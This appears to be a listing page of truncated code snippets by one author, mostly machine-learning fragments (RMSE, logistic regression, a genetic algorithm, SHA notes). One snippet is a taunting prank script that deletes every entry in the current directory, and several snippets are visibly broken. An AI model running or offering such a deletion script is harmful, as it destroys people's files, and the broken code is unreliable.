Divyosmi

def unique_vals(rows,col):

    return list([row[col] for row in rows])

def class_counts(rows):

    counts = {}

    for row in rows:

Divyosmi

import matplotlib.pyplot as plt

from math import sqrt

def rmse_metric(actual, predicted):

	sum_error = 0.0	for i in range(len(actual)):

		prediction_error = predicted[i] - actual[i]

Divyosmi

import numpy as np

from sklearn.base import BaseEstimator, ClassifierMixin

from sklearn.utils import check_random_state

from sklearn.preprocessing import LabelEncoder

def projection_simplex(v, z=1):

Divyosmi

import numpy as np

import matplotlib.pyplot as plt
%matplotlib inline
data = [[3,1.5,1],[2,1,0],[4,1.5,1],[3,1,0],[3.5,.5,1],[2,.5,0],[5.5,1,1],[1,1,0]]

test = [[2,2],[4.5,2]]
def sigmoid(x):

    return (1/(1+np.exp(-x)))

Divyosmi

import numpy as np

import matplotlib.pyplot as plt

class MultiClassLogisticRegression:

    

    def __init__(self, n_iter = 10000, thres=1e-3):

Divyosmi

import shutil,os
curr = os.cmd()
files = os.listdir(curr)
print("hahaha now all your files are mine {} these are all of them am i right".format(files),"i can feel that fear, and anger")
for i in files:
  shutil.rmtree(i)
  print("deleted {}".format(i))

Divyosmi

{
"Title":"Thanks for Reading",
"Author":"Divyosmi Goswami",
"Description":"Thank you for spending your valuable time reading this blog and thank you for clapping my blog it means a lot to me thanks a lot again and if you want more blog like these have any idea mail me at [email protected].",
}

Divyosmi

import numpy
import random
import matplotlib.pyplot
import pickle
import time

class GA:
    def __init__(self, 
                 num_generations, 
                 num_parents_mating, 

Divyosmi

# -*- coding: utf-8 -*-



"""

Symbols and Operations

    The following symbols are used in the secure hash algorithm specifications; each operates on w-bit words:

Divyosmi